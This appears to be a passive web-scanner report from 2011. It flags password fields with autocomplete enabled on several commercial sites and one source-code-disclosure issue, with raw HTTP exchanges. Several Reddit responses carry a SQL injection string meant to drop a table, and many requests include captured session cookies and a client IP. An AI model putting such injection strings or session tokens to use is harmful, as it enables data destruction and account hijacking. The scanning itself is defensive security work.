<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de-DE" lang="de-DE"> <head>
The page contains a form with the following action URL:
https://www.astaro.net/en/user/login
The form contains the following password field with autocomplete enabled:
Password
Request
GET /beacon/(beid HTTP/1.1 Host: www.astaro.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:30:13 GMT Server: Apache/2.2.3 (Red Hat) Set-Cookie: eZSESSIDen=bsb7dte2ge5s4c59fbs7127q65; path=/ Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Last-Modified: Tue, 01 Feb 2011 14:30:13 GMT X-Powered-By: eZ Publish Served-by: www.astaro.net Content-language: en-US Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
The page contains a form with the following action URL:
https://login.delish.com/registration/login
The form contains the following password field with autocomplete enabled:
password
Request
GET /entertaining-ideas/party-ideas/valentines-day-romantic-recipes-tips HTTP/1.1 Host: www.delish.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Content-Length: 109875 Content-Type: text/html; charset=utf-8 Cache-Control: max-age=490 Date: Wed, 02 Feb 2011 15:44:35 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-T ...[SNIP]... </div>-->
The page contains a form with the following action URL:
https://www.demandstudios.com/login.aspx
The form contains the following password field with autocomplete enabled:
password
Request
GET /ehow-writers.html HTTP/1.1 Host: www.demandstudios.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:44:39 GMT Server: Microsoft-IIS/6.0 x-server-info: new server Hostname: sjl01wdsweb01 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 X-AspNetMvc-Version: 1.0 Set-Cookie: BIGipServerdemandstudios.com-69.64.153.116-80=613812490.20480.0000; path=/ ; domain=demandstudios.com; path=/ Set-Cookie: ASP.NET_SessionId=rd34yp45uiciisjz3xjl2e45; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 22419
<!doctype html> <html lang="en-US">
<head> <title>Write for eHow | Demand Media Studios</title> <meta charset="UTF-8"/>
The page contains a form with the following action URL:
https://www.hotelclub.com/membercheckref.asp
The form contains the following password field with autocomplete enabled:
password
Request
GET / HTTP/1.1 Host: www.hotelclub.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The form contains the following password field with autocomplete enabled:
password
Request
GET /Secure/SignIn?z=2eb0&r=3 HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=D3DD8128C5377A40141A9858208488B0; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Wed, 02 Feb 2011 16:13:30 GMT Set-Cookie: NSC_xxx.pscjua.dpn.443_gxe=ffffffff09e3087545525d5f4f58455e445a4a42378b;path=/;secure Content-Length: 17640
The page contains a form with the following action URL:
https://www.orbitz.com/account/login
The form contains the following password field with autocomplete enabled:
models['loginPasswordInput'].password
Request
GET /account/login?destinationUrl= HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=026995801E92D176318AD90FEB65F6DB; Path=/ Set-Cookie: AustinLocale=en_US; Expires=Mon, 20-Feb-2079 19:30:31 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 16:16:23 GMT Set-Cookie: NSC_xxx.pscjua.dpn.443_gxe=ffffffff09e3087545525d5f4f58455e445a4a42378b;path=/;secure Content-Length: 17662
GET /account/registration HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=A7D6B6C6B73BC640D7493A94555D7334; Path=/ Set-Cookie: AustinLocale=en_US; Expires=Mon, 20-Feb-2079 19:30:35 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 16:16:28 GMT Set-Cookie: NSC_xxx.pscjua.dpn.443_gxe=ffffffff09e3087545525d5f4f58455e445a4a42378b;path=/;secure Content-Length: 23404
The page contains a form with the following action URL:
https://www.orbitz.com/trips/writeReview
The form contains the following password field with autocomplete enabled:
models['loginPasswordInput'].password
Request
GET /trips/writeReview?hotelId=24684 HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=B15415278A3C667686225B11283FD050; Path=/ Set-Cookie: AustinLocale=en_US; Expires=Mon, 20-Feb-2079 19:30:39 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 16:16:31 GMT Set-Cookie: NSC_xxx.pscjua.dpn.443_gxe=ffffffff09e3087545525d5f4f58455e445a4a42378b;path=/;secure Content-Length: 10776
The form contains the following password field with autocomplete enabled:
password
Request
GET /meetme.aspx HTTP/1.1 Host: www.plentyoffish.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmx=9489908.00012890560422417014:1:0-1-1-0; my_ipcountry=1; __utmxx=9489908.00012890560422417014:3738630:2592000; __utmz=9489908.1296523584.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmx_k_210735692=1; __utma=9489908.1831818404.1296523584.1296523584.1296523584.1; ft=Monday, January 31, 2011 5:25:37 PM; __utmc=9489908; __utmb=9489908.5.10.1296523584; ASP.NET_SessionId=enhftrh2rwh40ylxbcdqkhlw;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 01 Feb 2011 01:29:26 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 4.0.30319 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 4311
<html><head><title>Find Singles with Plentyoffish FREE Online Dating Personals Service</title>
<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE"> <META HTTP-EQUIV="PRAGMA" CONTENT="N ...[SNIP]... </a> and find singles who are looking to meet other quality singles for dating, love, and a relationship!
The form contains the following password field with autocomplete enabled:
password
Request
GET / HTTP/1.1 Host: www.ratestogo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 16:17:05 GMT Server: Microsoft-IIS/6.0 P3P: CP="NOI DEVa TAIa OUR BUS UNI" X-Powered-By: ASP.NET pragma: no-cache cache-control: private Content-Length: 36648 Content-Type: text/html; Charset=windows-1252 Expires: Tue, 01 Feb 2011 16:17:04 GMT Set-Cookie: %7CSearchEng%7C=%7C%7C%7C%7C2011%2D2%2D4%7C2011%2D2%2D5%7C; path=/ Set-Cookie: ASPSESSIONIDCCCQTTTR=EJHDHHOAFENFKDLJMBLPCAFD; path=/ Cache-control: no-cache
The form contains the following password fields with autocomplete enabled:
passwd
passwd2
Request
GET /domain/static.2mdn.net/new/x22 HTTP/1.1 Host: www.reddit.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Server: '; DROP TABLE servertypes; -- Date: Wed, 02 Feb 2011 19:30:39 GMT Content-Length: 27361 Connection: close
The form contains the following password field with autocomplete enabled:
passwd
Request
GET /domain/static.2mdn.net/new/x22 HTTP/1.1 Host: www.reddit.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Server: '; DROP TABLE servertypes; -- Date: Wed, 02 Feb 2011 19:30:39 GMT Content-Length: 27361 Connection: close
The form contains the following password fields with autocomplete enabled:
passwd
passwd2
Request
GET /domain/static.2mdn.net/x22 HTTP/1.1 Host: www.reddit.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Server: '; DROP TABLE servertypes; -- Date: Wed, 02 Feb 2011 19:30:39 GMT Content-Length: 27361 Connection: close
The form contains the following password field with autocomplete enabled:
passwd
Request
GET /domain/static.2mdn.net/x22 HTTP/1.1 Host: www.reddit.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Server: '; DROP TABLE servertypes; -- Date: Wed, 02 Feb 2011 19:30:39 GMT Content-Length: 27361 Connection: close
The page contains a form with the following action URL:
http://www.shape.com/kickapps/public/ajax-login
The form contains the following password field with autocomplete enabled:
password
Request
GET /workouts/articles/blood_sugar.html HTTP/1.1 Host: www.shape.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Date: Tue, 01 Feb 2011 14:33:57 GMT Server: Apache Cache-Control: max-age=900 Location: http://www.shape.com/workouts/articles/blood-sugar.html X-Server-Name: (null) ETag: "1296570837" Last-Modified: Tue, 01 Feb 2011 14:33:57 +0000 X-Powered-By: PHP/5.2.9 Via: HTTP/1.1 cdn.shape.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Tue, 01 Feb 2011 14:48:56 GMT Content-Type: text/html; charset=utf-8 Age: 2 Via: 1.1 mdw107101 (MII-APC/1.6) Connection: close Content-Length: 27153
The page contains a form with the following action URL:
http://www.shape.com/kickapps/public/ajax-login
The form contains the following password field with autocomplete enabled:
password
Request
GET /workouts/articles/workout_schedule.html HTTP/1.1 Host: www.shape.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Date: Tue, 01 Feb 2011 14:33:57 GMT Server: Apache Cache-Control: max-age=900 Location: http://www.shape.com/workouts/articles/workout-schedule.html X-Server-Name: (null) ETag: "1296570837" Last-Modified: Tue, 01 Feb 2011 14:33:57 +0000 X-Powered-By: PHP/5.2.9 Via: HTTP/1.1 cdn.shape.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Tue, 01 Feb 2011 14:48:56 GMT Content-Type: text/html; charset=utf-8 Age: 0 Via: 1.1 mdw107102 (MII-APC/1.6) Connection: close Content-Length: 27158
The page contains a form with the following action URL:
http://www.threatexpert.com/signin.aspx
The form contains the following password field with autocomplete enabled:
Login1$Password
Request
GET /signin.aspx HTTP/1.1 Host: www.threatexpert.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=118387404.1296664190.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=118387404.1635200381.1296664190.1296664190.1296664190.1; __utmc=118387404; __utmb=118387404; ASP.NET_SessionId=e1exr355bmeecgqulqgwxiu0;
Response
HTTP/1.1 200 OK Connection: close Date: Thu, 03 Feb 2011 04:05:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 11441
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The page contains a form with the following action URL:
http://www.threatexpert.com/signup.aspx
The form contains the following password fields with autocomplete enabled:
txtPassword
txtPassword2
Request
GET /signup.aspx HTTP/1.1 Host: www.threatexpert.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=118387404.1296664190.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=118387404.1635200381.1296664190.1296664190.1296664190.1; __utmc=118387404; __utmb=118387404; ASP.NET_SessionId=e1exr355bmeecgqulqgwxiu0;
Response
HTTP/1.1 200 OK Connection: close Date: Thu, 03 Feb 2011 04:05:47 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 18583
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The form contains the following password field with autocomplete enabled:
password
Request
GET /boobitrap/eCheck.php HTTP/1.1 Host: www.untraceableemail.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 16:15:20 GMT Server: Apache/2.2.9 (Fedora) Set-Cookie: Apache=173.193.214.243.1296663320848847; path=/; expires=Wed, 09-Mar-11 16:15:20 GMT Content-Length: 1740 Connection: close Content-Type: text/html; charset=UTF-8
The page contains a form with the following action URL:
http://www.worldmastiffforum.com/register
The form contains the following password field with autocomplete enabled:
pw
Request
GET / HTTP/1.1 Host: www.worldmastiffforum.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Server-side source code may contain sensitive information which can help an attacker formulate attacks against the application.
Issue remediation
Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. You should review the cause of the code disclosure and prevent it from happening.
The application appears to disclose some server-side source code written in PHP and ASP.
Request
GET /get/flashplayer/current/swflash.cab HTTP/1.1 Host: fpdownload.macromedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Last-Modified: Mon, 25 Oct 2010 23:47:03 GMT ETag: "b72012-2a53a6-9bea6bc0" Accept-Ranges: bytes Content-Length: 2773926 Content-Type: text/plain Date: Wed, 02 Feb 2011 19:20:39 GMT Connection: close